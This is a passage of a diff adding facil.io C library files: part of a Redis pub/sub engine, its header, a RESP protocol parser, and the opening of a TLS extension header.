+  redis_attach_cmd(r, cmd);
+}
+
+/* *****************************************************************************
+Connecting to Redis
+***************************************************************************** */
+
+static void redis_on_auth(fio_pubsub_engine_s *e, FIOBJ reply, void *udata) {
+  if (FIOBJ_TYPE_IS(reply, FIOBJ_T_TRUE)) {
+    fio_str_info_s s = fiobj_obj2cstr(reply);
+    FIO_LOG_WARNING("(redis) Authentication FAILED."
+                    "        %.*s",
+                    (int)s.len, s.data);
+  }
+  (void)e;
+  (void)udata;
+}
+
+static void redis_on_connect(intptr_t uuid, void *i_) {
+  struct redis_engine_internal_s *i = i_;
+  redis_engine_s *r;
+  i->uuid = uuid;
+
+  if (i->on_message == resp_on_sub_message) {
+    r = sub2redis(i);
+    if (r->auth_len) {
+      fio_write2(uuid, .data.buffer = r->auth, .length = r->auth_len,
+                 .after.dealloc = FIO_DEALLOC_NOOP);
+    }
+    fio_pubsub_reattach(&r->en);
+    if (r->pub_data.uuid == -1) {
+      defer_redis_connect(r, &r->pub_data);
+    }
+    FIO_LOG_INFO("(redis %d) subscription connection established.",
+                 (int)getpid());
+  } else {
+    r = pub2redis(i);
+    if (r->auth_len) {
+      redis_commands_s *cmd = fio_malloc(sizeof(*cmd) + r->auth_len);
+      *cmd =
+          (redis_commands_s){.cmd_len = r->auth_len, .callback = redis_on_auth};
+      memcpy(cmd->cmd, r->auth, r->auth_len);
+      fio_lock(&r->lock);
+      r->pub_sent = 0;
+      fio_ls_embd_unshift(&r->queue, &cmd->node);
+      redis_send_next_command_unsafe(r);
+      fio_unlock(&r->lock);
+    } else {
+      fio_lock(&r->lock);
+      r->pub_sent = 0;
+      redis_send_next_command_unsafe(r);
+      fio_unlock(&r->lock);
+    }
+    FIO_LOG_INFO("(redis %d) publication connection established.",
+                 (int)getpid());
+  }
+
+  i->protocol.rsv = 0;
+  fio_attach(uuid, &i->protocol);
+  fio_timeout_set(uuid, r->ping_int);
+
+  return;
+}
+
+static void redis_on_connect_failed(intptr_t uuid, void *i_) {
+  struct redis_engine_internal_s *i = i_;
+  i->uuid = -1;
+  i->protocol.on_close(-1, &i->protocol);
+  (void)uuid;
+}
+
+static void redis_connect(void *r_, void *i_) {
+  redis_engine_s *r = r_;
+  struct redis_engine_internal_s *i = i_;
+  fio_lock(&r->lock_connection);
+  if (r->flag == 0 || i->uuid != -1 || !fio_is_running()) {
+    fio_unlock(&r->lock_connection);
+    redis_free(r);
+    return;
+  }
+  // fio_atomic_add(&r->ref, 1);
+  i->uuid = fio_connect(.address = r->address, .port = r->port,
+                        .on_connect = redis_on_connect, .udata = i,
+                        .on_fail = redis_on_connect_failed);
+  fio_unlock(&r->lock_connection);
+}
+
+/* *****************************************************************************
+Engine / Bridge Callbacks (Root Process)
+***************************************************************************** */
+
+static void redis_on_subscribe_root(const fio_pubsub_engine_s *eng,
+                                    fio_str_info_s channel,
+                                    fio_match_fn match) {
+  redis_engine_s *r = (redis_engine_s *)eng;
+  if (r->sub_data.uuid != -1) {
+    FIOBJ cmd = fiobj_str_buf(96 + channel.len);
+    if (match == FIO_MATCH_GLOB)
+      fiobj_str_write(cmd, "*2\r\n$10\r\nPSUBSCRIBE\r\n$", 22);
+    else
+      fiobj_str_write(cmd, "*2\r\n$9\r\nSUBSCRIBE\r\n$", 20);
+    fiobj_str_write_i(cmd, channel.len);
+    fiobj_str_write(cmd, "\r\n", 2);
+    fiobj_str_write(cmd, channel.data, channel.len);
+    fiobj_str_write(cmd, "\r\n", 2);
+    // {
+    //   fio_str_info_s s = fiobj_obj2cstr(cmd);
+    //   fprintf(stderr, "(%d) Sending Subscription (%p):\n%s\n", getpid(),
+    //           (void *)r->sub_data.uuid, s.data);
+    // }
+    fiobj_send_free(r->sub_data.uuid, cmd);
+  }
+}
+
+static void redis_on_unsubscribe_root(const fio_pubsub_engine_s *eng,
+                                      fio_str_info_s channel,
+                                      fio_match_fn match) {
+  redis_engine_s *r = (redis_engine_s *)eng;
+  if (r->sub_data.uuid != -1) {
+    fio_str_s *cmd = fio_str_new2();
+    fio_str_capa_assert(cmd, 96 + channel.len);
+    if (match == FIO_MATCH_GLOB)
+      fio_str_write(cmd, "*2\r\n$12\r\nPUNSUBSCRIBE\r\n$", 24);
+    else
+      fio_str_write(cmd, "*2\r\n$11\r\nUNSUBSCRIBE\r\n$", 23);
+    fio_str_write_i(cmd, channel.len);
+    fio_str_write(cmd, "\r\n", 2);
+    fio_str_write(cmd, channel.data, channel.len);
+    fio_str_write(cmd, "\r\n", 2);
+    // {
+    //   fio_str_info_s s = fio_str_info(cmd);
+    //   fprintf(stderr, "(%d) Cancel Subscription (%p):\n%s\n", getpid(),
+    //           (void *)r->sub_data.uuid, s.data);
+    // }
+    fio_str_send_free2(r->sub_data.uuid, cmd);
+  }
+}
+
+static void redis_on_publish_root(const fio_pubsub_engine_s *eng,
+                                  fio_str_info_s channel, fio_str_info_s msg,
+                                  uint8_t is_json) {
+  redis_engine_s *r = (redis_engine_s *)eng;
+  redis_commands_s *cmd = fio_malloc(sizeof(*cmd) + channel.len + msg.len + 96);
+  *cmd = (redis_commands_s){.cmd_len = 0};
+  memcpy(cmd->cmd, "*3\r\n$7\r\nPUBLISH\r\n$", 18);
+  char *buf = (char *)cmd->cmd + 18;
+  buf += fio_ltoa((void *)buf, channel.len, 10);
+  *buf++ = '\r';
+  *buf++ = '\n';
+  memcpy(buf, channel.data, channel.len);
+  buf += channel.len;
+  *buf++ = '\r';
+  *buf++ = '\n';
+  *buf++ = '$';
+  buf += fio_ltoa(buf, msg.len, 10);
+  *buf++ = '\r';
+  *buf++ = '\n';
+  memcpy(buf, msg.data, msg.len);
+  buf += msg.len;
+  *buf++ = '\r';
+  *buf++ = '\n';
+  *buf = 0;
+  FIO_LOG_DEBUG("(%d) Publishing:\n%s", (int)getpid(), cmd->cmd);
+  cmd->cmd_len = (uintptr_t)buf - (uintptr_t)(cmd + 1);
+  redis_attach_cmd(r, cmd);
+  return;
+  (void)is_json;
+}
+
+/* *****************************************************************************
+Engine / Bridge Stub Callbacks (Child Process)
+***************************************************************************** */
+
+static void redis_on_mock_subscribe_child(const fio_pubsub_engine_s *eng,
+                                          fio_str_info_s channel,
+                                          fio_match_fn match) {
+  /* do nothing, root process is notified about (un)subscriptions by facil.io */
+  (void)eng;
+  (void)channel;
+  (void)match;
+}
+
+static void redis_on_publish_child(const fio_pubsub_engine_s *eng,
+                                   fio_str_info_s channel, fio_str_info_s msg,
+                                   uint8_t is_json) {
+  /* attach engine data to channel (prepend) */
+  fio_str_s tmp = FIO_STR_INIT;
+  /* by using fio_str_s, short names are allocated on the stack */
+  fio_str_info_s tmp_info = fio_str_resize(&tmp, channel.len + 8);
+  fio_u2str64(tmp_info.data, (uint64_t)eng);
+  memcpy(tmp_info.data + 8, channel.data, channel.len);
+  /* forward publication request to Root */
+  fio_publish(.filter = -1, .channel = tmp_info, .message = msg,
+              .engine = FIO_PUBSUB_ROOT, .is_json = is_json);
+  fio_str_free(&tmp);
+  (void)eng;
+}
+
+/* *****************************************************************************
+Root Publication Handler
+***************************************************************************** */
+
+/* listens to filter -1 and publishes and messages */
+static void redis_on_internal_publish(fio_msg_s *msg) {
+  if (msg->channel.len < 8)
+    return; /* internal error, unexpected data */
+  void *en = (void *)fio_str2u64(msg->channel.data);
+  if (en != msg->udata1)
+    return; /* should be delivered by a different engine */
+  /* step after the engine data */
+  msg->channel.len -= 8;
+  msg->channel.data += 8;
+  /* forward to publishing */
+  FIO_LOG_DEBUG("Forwarding to engine %p, on channel %s", msg->udata1,
+                msg->channel.data);
+  redis_on_publish_root(msg->udata1, msg->channel, msg->msg, msg->is_json);
+}
+
+/* *****************************************************************************
+Sending commands using the Root connection
+***************************************************************************** */
+
+/* callback from the Redis reply */
+static void redis_forward_reply(fio_pubsub_engine_s *e, FIOBJ reply,
+                                void *udata) {
+  uint8_t *data = udata;
+  fio_pubsub_engine_s *engine = (fio_pubsub_engine_s *)fio_str2u64(data + 0);
+  void *callback = (void *)fio_str2u64(data + 8);
+  if (engine != e || !callback) {
+    FIO_LOG_DEBUG("Redis reply not forwarded (callback: %p)", callback);
+    return;
+  }
+  int32_t pid = (int32_t)fio_str2u32(data + 24);
+  FIOBJ rp = fiobj_obj2json(reply, 0);
+  fio_publish(.filter = (-10 - (int32_t)pid), .channel.data = (char *)data,
+              .channel.len = 28, .message = fiobj_obj2cstr(rp), .is_json = 1);
+  fiobj_free(rp);
+}
+
+/* listens to channel -2 for commands that need to be sent (only ROOT) */
+static void redis_on_internal_cmd(fio_msg_s *msg) {
+  // void*(void *)fio_str2u64(msg->msg.data);
+  fio_pubsub_engine_s *engine =
+      (fio_pubsub_engine_s *)fio_str2u64(msg->channel.data + 0);
+  if (engine != msg->udata1) {
+    return;
+  }
+  redis_commands_s *cmd = fio_malloc(sizeof(*cmd) + msg->msg.len + 1 + 28);
+  FIO_ASSERT_ALLOC(cmd);
+  *cmd = (redis_commands_s){.callback = redis_forward_reply,
+                            .udata = (cmd->cmd + msg->msg.len + 1),
+                            .cmd_len = msg->msg.len};
+  memcpy(cmd->cmd, msg->msg.data, msg->msg.len);
+  memcpy(cmd->cmd + msg->msg.len + 1, msg->channel.data, 28);
+  redis_attach_cmd((redis_engine_s *)engine, cmd);
+  // fprintf(stderr, " *** Attached CMD (%d) ***\n%s\n", getpid(), cmd->cmd);
+}
+
+/* Listens on filter `-10 -getpid()` for incoming reply data */
+static void redis_on_internal_reply(fio_msg_s *msg) {
+  fio_pubsub_engine_s *engine =
+      (fio_pubsub_engine_s *)fio_str2u64(msg->channel.data + 0);
+  if (engine != msg->udata1) {
+    FIO_LOG_DEBUG("Redis reply not forwarded (engine mismatch: %p != %p)",
+                  (void *)engine, msg->udata1);
+    return;
+  }
+  FIOBJ reply;
+  fiobj_json2obj(&reply, msg->msg.data, msg->msg.len);
+  void (*callback)(fio_pubsub_engine_s *, FIOBJ, void *) = (void (*)(
+      fio_pubsub_engine_s *, FIOBJ, void *))fio_str2u64(msg->channel.data + 8);
+  void *udata = (void *)fio_str2u64(msg->channel.data + 16);
+  callback(engine, reply, udata);
+  fiobj_free(reply);
+}
+
+/* publishes a Redis command to Root's filter -2 */
+intptr_t redis_engine_send(fio_pubsub_engine_s *engine, FIOBJ command,
+                           void (*callback)(fio_pubsub_engine_s *e, FIOBJ reply,
+                                            void *udata),
+                           void *udata) {
+  if ((uintptr_t)engine < 4) {
+    FIO_LOG_WARNING("(redis send) trying to use one of the core engines");
+    return -1;
+  }
+  // if(fio_is_master()) {
+  // FIOBJ resp = fiobj2resp_tmp(fio_str_info_s obj1, FIOBJ obj2);
+  // TODO...
+  // } else {
+  /* forward publication request to Root */
+  fio_str_s tmp = FIO_STR_INIT;
+  fio_str_info_s ti = fio_str_resize(&tmp, 28);
+  /* combine metadata */
+  fio_u2str64(ti.data + 0, (uint64_t)engine);
+  fio_u2str64(ti.data + 8, (uint64_t)callback);
+  fio_u2str64(ti.data + 16, (uint64_t)udata);
+  fio_u2str32(ti.data + 24, (uint32_t)getpid());
+  FIOBJ cmd = fiobj2resp_tmp(command);
+  fio_publish(.filter = -2, .channel = ti, .message = fiobj_obj2cstr(cmd),
+              .engine = FIO_PUBSUB_ROOT, .is_json = 0);
+  fio_str_free(&tmp);
+  // }
+  return 0;
+}
+
+/* *****************************************************************************
+Redis Engine Creation
+***************************************************************************** */
+
+static void redis_on_facil_start(void *r_) {
+  redis_engine_s *r = r_;
+  r->flag = 1;
+  if (!fio_is_valid(r->sub_data.uuid)) {
+    defer_redis_connect(r, &r->sub_data);
+  }
+}
+static void redis_on_facil_shutdown(void *r_) {
+  redis_engine_s *r = r_;
+  r->flag = 0;
+}
+
+static void redis_on_engine_fork(void *r_) {
+  redis_engine_s *r = r_;
+  r->flag = 0;
+  r->lock = FIO_LOCK_INIT;
+  fio_force_close(r->sub_data.uuid);
+  r->sub_data.uuid = -1;
+  fio_force_close(r->pub_data.uuid);
+  r->pub_data.uuid = -1;
+  while (fio_ls_embd_any(&r->queue)) {
+    redis_commands_s *cmd =
+        FIO_LS_EMBD_OBJ(redis_commands_s, node, fio_ls_embd_pop(&r->queue));
+    fio_free(cmd);
+  }
+  r->en = (fio_pubsub_engine_s){
+      .subscribe = redis_on_mock_subscribe_child,
+      .unsubscribe = redis_on_mock_subscribe_child,
+      .publish = redis_on_publish_child,
+  };
+  fio_unsubscribe(r->publication_forwarder);
+  r->publication_forwarder = NULL;
+  fio_unsubscribe(r->cmd_forwarder);
+  r->cmd_forwarder = NULL;
+  fio_unsubscribe(r->cmd_reply);
+  r->cmd_reply =
+      fio_subscribe(.filter = -10 - (int32_t)getpid(),
+                    .on_message = redis_on_internal_reply, .udata1 = r);
+}
+
+fio_pubsub_engine_s *redis_engine_create
+FIO_IGNORE_MACRO(struct redis_engine_create_args args) {
+  if (getpid() != fio_parent_pid()) {
+    FIO_LOG_FATAL("(redis) Redis engine initialization can only "
+                  "be performed in the Root process.");
+    kill(0, SIGINT);
+    fio_stop();
+    return NULL;
+  }
+  if (!args.address.len && args.address.data)
+    args.address.len = strlen(args.address.data);
+  if (!args.port.len && args.port.data)
+    args.port.len = strlen(args.port.data);
+  if (!args.auth.len && args.auth.data) {
+    args.auth.len = strlen(args.auth.data);
+  }
+
+  if (!args.address.data || !args.address.len) {
+    args.address = (fio_str_info_s){.len = 9, .data = (char *)"localhost"};
+  }
+  if (!args.port.data || !args.port.len) {
+    args.port = (fio_str_info_s){.len = 4, .data = (char *)"6379"};
+  }
+  redis_engine_s *r =
+      fio_malloc(sizeof(*r) + args.port.len + 1 + args.address.len + 1 +
+                 args.auth.len + 1 + (REDIS_READ_BUFFER * 2));
+  FIO_ASSERT_ALLOC(r);
+  *r = (redis_engine_s){
+      .en =
+          {
+              .subscribe = redis_on_subscribe_root,
+              .unsubscribe = redis_on_unsubscribe_root,
+              .publish = redis_on_publish_root,
+          },
+      .pub_data =
+          {
+              .protocol =
+                  {
+                      .on_data = redis_on_data,
+                      .on_close = redis_on_close,
+                      .on_shutdown = redis_on_shutdown,
+                      .ping = redis_pub_ping,
+                  },
+              .uuid = -1,
+              .on_message = resp_on_pub_message,
+          },
+      .sub_data =
+          {
+              .protocol =
+                  {
+                      .on_data = redis_on_data,
+                      .on_close = redis_on_close,
+                      .on_shutdown = redis_on_shutdown,
+                      .ping = redis_sub_ping,
+                  },
+              .on_message = resp_on_sub_message,
+              .uuid = -1,
+          },
+      .publication_forwarder =
+          fio_subscribe(.filter = -1, .udata1 = r,
+                        .on_message = redis_on_internal_publish),
+      .cmd_forwarder = fio_subscribe(.filter = -2, .udata1 = r,
+                                     .on_message = redis_on_internal_cmd),
+      .cmd_reply =
+          fio_subscribe(.filter = -10 - (uint32_t)getpid(), .udata1 = r,
+                        .on_message = redis_on_internal_reply),
+      .address = ((char *)(r + 1) + (REDIS_READ_BUFFER * 2)),
+      .port =
+          ((char *)(r + 1) + (REDIS_READ_BUFFER * 2) + args.address.len + 1),
+      .auth = ((char *)(r + 1) + (REDIS_READ_BUFFER * 2) + args.address.len +
+               args.port.len + 2),
+      .auth_len = args.auth.len,
+      .ref = 1,
+      .queue = FIO_LS_INIT(r->queue),
+      .lock = FIO_LOCK_INIT,
+      .lock_connection = FIO_LOCK_INIT,
+      .ping_int = args.ping_interval,
+      .flag = 1,
+  };
+  memcpy(r->address, args.address.data, args.address.len);
+  memcpy(r->port, args.port.data, args.port.len);
+  if (args.auth.len)
+    memcpy(r->auth, args.auth.data, args.auth.len);
+  fio_pubsub_attach(&r->en);
+  redis_on_facil_start(r);
+  fio_state_callback_add(FIO_CALL_IN_CHILD, redis_on_engine_fork, r);
+  fio_state_callback_add(FIO_CALL_ON_SHUTDOWN, redis_on_facil_shutdown, r);
+  /* if restarting */
+  fio_state_callback_add(FIO_CALL_PRE_START, redis_on_facil_start, r);
+
+  FIO_LOG_DEBUG("Redis engine initialized %p", (void *)r);
+  return &r->en;
+}
+
+/* *****************************************************************************
+Redis Engine Destruction
+***************************************************************************** */
+
+void redis_engine_destroy(fio_pubsub_engine_s *engine) {
+  redis_engine_s *r = (redis_engine_s *)engine;
+  r->flag = 0;
+  fio_pubsub_detach(&r->en);
+  fio_state_callback_remove(FIO_CALL_IN_CHILD, redis_on_engine_fork, r);
+  fio_state_callback_remove(FIO_CALL_ON_SHUTDOWN, redis_on_facil_shutdown, r);
+  fio_state_callback_remove(FIO_CALL_PRE_START, redis_on_facil_start, r);
+  FIO_LOG_DEBUG("Redis engine destroyed %p", (void *)r);
+  redis_free(r);
+}

facil.io/lib/facil/redis/redis_engine.h

@@ -0,0 +1,79 @@
+/*
+Copyright: Boaz segev, 2016-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#ifndef H_REDIS_ENGINE_H
+#define H_REDIS_ENGINE_H
+
+#include <fio.h>
+#include <fiobj.h>
+
+/* support C++ */
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/** possible arguments for the `redis_engine_create` function call */
+struct redis_engine_create_args {
+  /** Redis server's address, defaults to localhost. */
+  fio_str_info_s address;
+  /** Redis server's port, defaults to 6379. */
+  fio_str_info_s port;
+  /** Redis server's password, if any. */
+  fio_str_info_s auth;
+  /** A `ping` will be sent every `ping_interval` interval or inactivity. */
+  uint8_t ping_interval;
+};
+
+/**
+ * See the {fio.h} file for documentation about engines.
+ *
+ * The engine is active only after facil.io starts running.
+ *
+ * A `ping` will be sent every `ping_interval` interval or inactivity. The
+ * default value (0) will fallback to facil.io's maximum time of inactivity (5
+ * minutes) before polling on the connection's protocol.
+ *
+ * function names speak for themselves ;-)
+ *
+ * Note: The Redis engine assumes it will stay alive until all the messages and
+ * callbacks have been called (or facil.io exits)... If the engine is destroyed
+ * midway, memory leaks might occur (and little puppies might cry).
+ */
+fio_pubsub_engine_s *redis_engine_create(struct redis_engine_create_args);
+#define redis_engine_create(...)                                               \
+  redis_engine_create((struct redis_engine_create_args){__VA_ARGS__})
+
+/**
+ * Sends a Redis command through the engine's connection.
+ *
+ * The response will be sent back using the optional callback. `udata` is passed
+ * along untouched.
+ *
+ * The message will be resent on network failures, until a response validates
+ * the fact that the command was sent (or the engine is destroyed).
+ *
+ * Note: NEVER call Pub/Sub commands using this function, as it will violate the
+ * Redis connection's protocol (best case scenario, a disconnection will occur
+ * before and messages are lost).
+ */
+intptr_t redis_engine_send(fio_pubsub_engine_s *engine, FIOBJ command,
+                           void (*callback)(fio_pubsub_engine_s *e, FIOBJ reply,
+                                            void *udata),
+                           void *udata);
+
+/**
+ * See the {pubsub.h} file for documentation about engines.
+ *
+ * function names speak for themselves ;-)
+ */
+void redis_engine_destroy(fio_pubsub_engine_s *engine);
+
+/* support C++ */
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* H_REDIS_ENGINE_H */

facil.io/lib/facil/redis/resp_parser.h

@@ -0,0 +1,317 @@
+/*
+Copyright: Boaz segev, 2016-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#ifndef H_RESP_PARSER_H
+/**
+ * This single file library is a RESP parser for Redis connections.
+ *
+ * To use this file, the `.c` file in which this file is included MUST define a
+ * number of callbacks, as later inticated.
+ *
+ * When feeding the parser, the parser will inform of any trailing bytes (bytes
+ * at the end of the buffer that could not be parsed). These bytes should be
+ * resent to the parser along with more data. Zero is a valid return value.
+ *
+ * Note: mostly, callback return vaslues are ignored.
+ */
+#define H_RESP_PARSER_H
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+
+/* *****************************************************************************
+The Parser
+***************************************************************************** */
+
+typedef struct resp_parser_s {
+  /* for internal use - (array / object countdown) */
+  intptr_t obj_countdown;
+  /* for internal use - (string byte consumption) */
+  intptr_t expecting;
+} resp_parser_s;
+
+/**
+ * Returns the number of bytes to be resent. i.e., for a return value 5, the
+ * last 5 bytes in the buffer need to be resent to the parser.
+ */
+static size_t resp_parse(resp_parser_s *parser, const void *buffer,
+                         size_t length);
+
+/* *****************************************************************************
+Required Parser Callbacks (to be defined by the including file)
+***************************************************************************** */
+
+/** a local static callback, called when the RESP message is complete. */
+static int resp_on_message(resp_parser_s *parser);
+
+/** a local static callback, called when a Number object is parsed. */
+static int resp_on_number(resp_parser_s *parser, int64_t num);
+/** a local static callback, called when a OK message is received. */
+static int resp_on_okay(resp_parser_s *parser);
+/** a local static callback, called when NULL is received. */
+static int resp_on_null(resp_parser_s *parser);
+
+/**
+ * a local static callback, called when a String should be allocated.
+ *
+ * `str_len` is the expected number of bytes that will fill the final string
+ * object, without any NUL byte marker (the string might be binary).
+ *
+ * If this function returns any value besides 0, parsing is stopped.
+ */
+static int resp_on_start_string(resp_parser_s *parser, size_t str_len);
+/** a local static callback, called as String objects are streamed. */
+static int resp_on_string_chunk(resp_parser_s *parser, void *data, size_t len);
+/** a local static callback, called when a String object had finished streaming.
+ */
+static int resp_on_end_string(resp_parser_s *parser);
+
+/** a local static callback, called an error message is received. */
+static int resp_on_err_msg(resp_parser_s *parser, void *data, size_t len);
+
+/**
+ * a local static callback, called when an Array should be allocated.
+ *
+ * `array_len` is the expected number of objects that will fill the Array
+ * object.
+ *
+ * There's no `resp_on_end_array` callback since the RESP protocol assumes the
+ * message is finished along with the Array (`resp_on_message` is called).
+ * However, just in case a non-conforming client/server sends nested Arrays, the
+ * callback should test against possible overflow or nested Array endings.
+ *
+ * If this function returns any value besides 0, parsing is stopped.
+ */
+static int resp_on_start_array(resp_parser_s *parser, size_t array_len);
+
+/** a local static callback, called when a parser / protocol error occurs. */
+static int resp_on_parser_error(resp_parser_s *parser);
+
+/* *****************************************************************************
+Seeking the new line...
+***************************************************************************** */
+
+#if FIO_MEMCHAR
+
+/**
+ * This seems to be faster on some systems, especially for smaller distances.
+ *
+ * On newer systems, `memchr` should be faster.
+ */
+static inline int seek2ch(uint8_t **buffer, register const uint8_t *limit,
+                          const uint8_t c) {
+  if (**buffer == c)
+    return 1;
+
+#if !ALLOW_UNALIGNED_MEMORY_ACCESS || !defined(__x86_64__)
+  /* too short for this mess */
+  if ((uintptr_t)limit <= 16 + ((uintptr_t)*buffer & (~(uintptr_t)7)))
+    goto finish;
+
+  /* align memory */
+  {
+    const uint8_t *alignment =
+        (uint8_t *)(((uintptr_t)(*buffer) & (~(uintptr_t)7)) + 8);
+    if (limit >= alignment) {
+      while (*buffer < alignment) {
+        if (**buffer == c)
+          return 1;
+        *buffer += 1;
+      }
+    }
+  }
+  const uint8_t *limit64 = (uint8_t *)((uintptr_t)limit & (~(uintptr_t)7));
+#else
+  const uint8_t *limit64 = (uint8_t *)limit - 7;
+#endif
+  uint64_t wanted1 = 0x0101010101010101ULL * c;
+  for (; *buffer < limit64; *buffer += 8) {
+    const uint64_t eq1 = ~((*((uint64_t *)*buffer)) ^ wanted1);
+    const uint64_t t0 = (eq1 & 0x7f7f7f7f7f7f7f7fllu) + 0x0101010101010101llu;
+    const uint64_t t1 = (eq1 & 0x8080808080808080llu);
+    if ((t0 & t1)) {
+      break;
+    }
+  }
+#if !ALLOW_UNALIGNED_MEMORY_ACCESS || !defined(__x86_64__)
+finish:
+#endif
+  while (*buffer < limit) {
+    if (**buffer == c)
+      return 1;
+    (*buffer)++;
+  }
+  return 0;
+}
+
+#else
+
+/* a helper that seeks any char, converts it to NUL and returns 1 if found. */
+inline static uint8_t seek2ch(uint8_t **pos, const uint8_t *limit, uint8_t ch) {
+  /* This is library based alternative that is sometimes slower  */
+  if (*pos >= limit || **pos == ch) {
+    return 0;
+  }
+  uint8_t *tmp = (uint8_t *)memchr(*pos, ch, limit - (*pos));
+  if (tmp) {
+    *pos = tmp;
+    return 1;
+  }
+  *pos = (uint8_t *)limit;
+  return 0;
+}
+
+#endif
+
+/* *****************************************************************************
+Parsing RESP requests
+***************************************************************************** */
+
+/**
+ * Returns the number of bytes to be resent. i.e., for a return value 5, the
+ * last 5 bytes in the buffer need to be resent to the parser.
+ */
+static size_t resp_parse(resp_parser_s *parser, const void *buffer,
+                         size_t length) {
+  if (!parser->obj_countdown)
+    parser->obj_countdown = 1; /* always expect something... */
+  uint8_t *pos = (uint8_t *)buffer;
+  const uint8_t *stop = pos + length;
+  while (pos < stop) {
+    uint8_t *eol;
+    if (parser->expecting) {
+      if (pos + parser->expecting + 2 > stop) {
+        /* read, but make sure the buffer includes the new line markers */
+        size_t tmp = (size_t)((uintptr_t)stop - (uintptr_t)pos);
+        if ((intptr_t)tmp >= parser->expecting)
+          tmp = parser->expecting - 1;
+        resp_on_string_chunk(parser, (void *)pos, tmp);
+        parser->expecting -= tmp;
+        return (size_t)((uintptr_t)stop - ((uintptr_t)pos + tmp)); /* 0 or 1 */
+      } else {
+        resp_on_string_chunk(parser, (void *)pos, parser->expecting);
+        resp_on_end_string(parser);
+        pos += parser->expecting;
+        if (pos[0] == '\r')
+          ++pos;
+        if (pos[0] == '\n')
+          ++pos;
+        parser->expecting = 0;
+        --parser->obj_countdown;
+        if (parser->obj_countdown <= 0) {
+          parser->obj_countdown = 1;
+          if (resp_on_message(parser))
+            goto finish;
+        }
+        continue;
+      }
+    }
+    eol = pos;
+    if (seek2ch(&eol, stop, '\n') == 0)
+      break;
+    switch (*pos) {
+    case '+':
+      if (pos[1] == 'O' && pos[2] == 'K' && pos[3] == '\r' && pos[4] == '\n') {
+        resp_on_okay(parser);
+        --parser->obj_countdown;
+        break;
+      }
+      if (resp_on_start_string(parser,
+                               (size_t)((uintptr_t)eol - (uintptr_t)pos - 2))) {
+        pos = eol + 1;
+        goto finish;
+      }
+      resp_on_string_chunk(parser, (void *)(pos + 1),
+                           (size_t)((uintptr_t)eol - (uintptr_t)pos - 1));
+      resp_on_end_string(parser);
+      --parser->obj_countdown;
+      break;
+    case '-':
+      resp_on_err_msg(parser, pos,
+                      (size_t)((uintptr_t)eol - (uintptr_t)pos - 1));
+      --parser->obj_countdown;
+      break;
+    case '*': /* fallthrough */
+    case '$': /* fallthrough */
+    case ':': {
+      uint8_t id = *pos;
+      uint8_t inv = 0;
+      int64_t i = 0;
+      ++pos;
+      if (pos[0] == '-') {
+        inv = 1;
+        ++pos;
+      }
+      while ((size_t)(pos[0] - (uint8_t)'0') <= 9) {
+        i = (i * 10) + (pos[0] - ((uint8_t)'0'));
+        ++pos;
+      }
+      if (inv)
+        i = i * -1;
+
+      switch (id) {
+      case ':':
+        resp_on_number(parser, i);
+        --parser->obj_countdown;
+        break;
+      case '$':
+        if (i < 0) {
+          resp_on_null(parser);
+          --parser->obj_countdown;
+        } else if (i == 0) {
+          resp_on_start_string(parser, 0);
+          resp_on_end_string(parser);
+          --parser->obj_countdown;
+          eol += 2; /* consume the extra "\r\n" */
+        } else {
+          if (resp_on_start_string(parser, i)) {
+            pos = eol + 1;
+            goto finish;
+          }
+          parser->expecting = i;
+        }
+        break;
+      case '*':
+        if (i < 0) {
+          resp_on_null(parser);
+        } else {
+          if (resp_on_start_array(parser, i)) {
+            pos = eol + 1;
+            goto finish;
+          }
+          parser->obj_countdown += i;
+        }
+        --parser->obj_countdown;
+        break;
+      }
+    } break;
+    default:
+      if (!parser->obj_countdown && !parser->expecting) {
+        /* possible (probable) inline command... for server authoring. */
+        /* Not Supported, PRs are welcome. */
+        resp_on_parser_error(parser);
+        return (size_t)((uintptr_t)stop - (uintptr_t)pos);
+      } else {
+        resp_on_parser_error(parser);
+        return (size_t)((uintptr_t)stop - (uintptr_t)pos);
+      }
+    }
+    pos = eol + 1;
+    if (parser->obj_countdown <= 0 && !parser->expecting) {
+      parser->obj_countdown = 1;
+      resp_on_message(parser);
+    }
+  }
+finish:
+  return (size_t)((uintptr_t)stop - (uintptr_t)pos);
+}
+
+#endif /* H_RESP_PARSER_H */

facil.io/lib/facil/tls/fio_tls.h

@@ -0,0 +1,129 @@
+/*
+Copyright: Boaz Segev, 2018-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#ifndef H_FIO_TLS
+
+/**
+ * This is an SSL/TLS extension for the facil.io library.
+ */
+#define H_FIO_TLS
+
+#include <stdint.h>
+
+#ifndef FIO_TLS_PRINT_SECRET
+/* if true, the master key secret should be printed using FIO_LOG_DEBUG */
+#define FIO_TLS_PRINT_SECRET 0
+#endif
+
+/** An opaque type used for the SSL/TLS functions. */
+typedef struct fio_tls_s fio_tls_s;
+
+/**
+ * Creates a new SSL/TLS context / settings object with a default certificate
+ * (if any).
+ *
+ * If no server name is provided and no private key and public certificate are
+ * provided, an empty TLS object will be created, (maybe okay for clients).
+ *
+ *      fio_tls_s * tls = fio_tls_new("www.example.com",
+ *                                    "public_key.pem",
+ *                                    "private_key.pem", NULL );
+ */
+fio_tls_s *fio_tls_new(const char *server_name, const char *public_cert_file,
+                       const char *private_key_file, const char *pk_password);
+
+/**
+ * Adds a certificate a new SSL/TLS context / settings object (SNI support).
+ *
+ *      fio_tls_cert_add(tls, "www.example.com",
+ *                            "public_key.pem",
+ *                            "private_key.pem", NULL );
+ */
+void fio_tls_cert_add(fio_tls_s *, const char *server_name,
+                      const char *public_cert_file,
+                      const char *private_key_file, const char *pk_password);
+
+/**
+ * Adds an ALPN protocol callback to the SSL/TLS context.
+ *
+ * The first protocol added will act as the default protocol to be selected.
+ *
+ * The `on_selected` callback should accept the `uuid`, the user data pointer
+ * passed to either `fio_tls_accept` or `fio_tls_connect` (here:
+ * `udata_connetcion`) and the user data pointer passed to the
+ * `fio_tls_alpn_add` function (`udata_tls`).
+ *
+ * The `on_cleanup` callback will be called when the TLS object is destroyed (or
+ * `fio_tls_alpn_add` is called again with the same protocol name). The
+ * `udata_tls` argument will be passed along, as is, to the callback (if set).
+ *
+ * Except for the `tls` and `protocol_name` arguments, all arguments can be
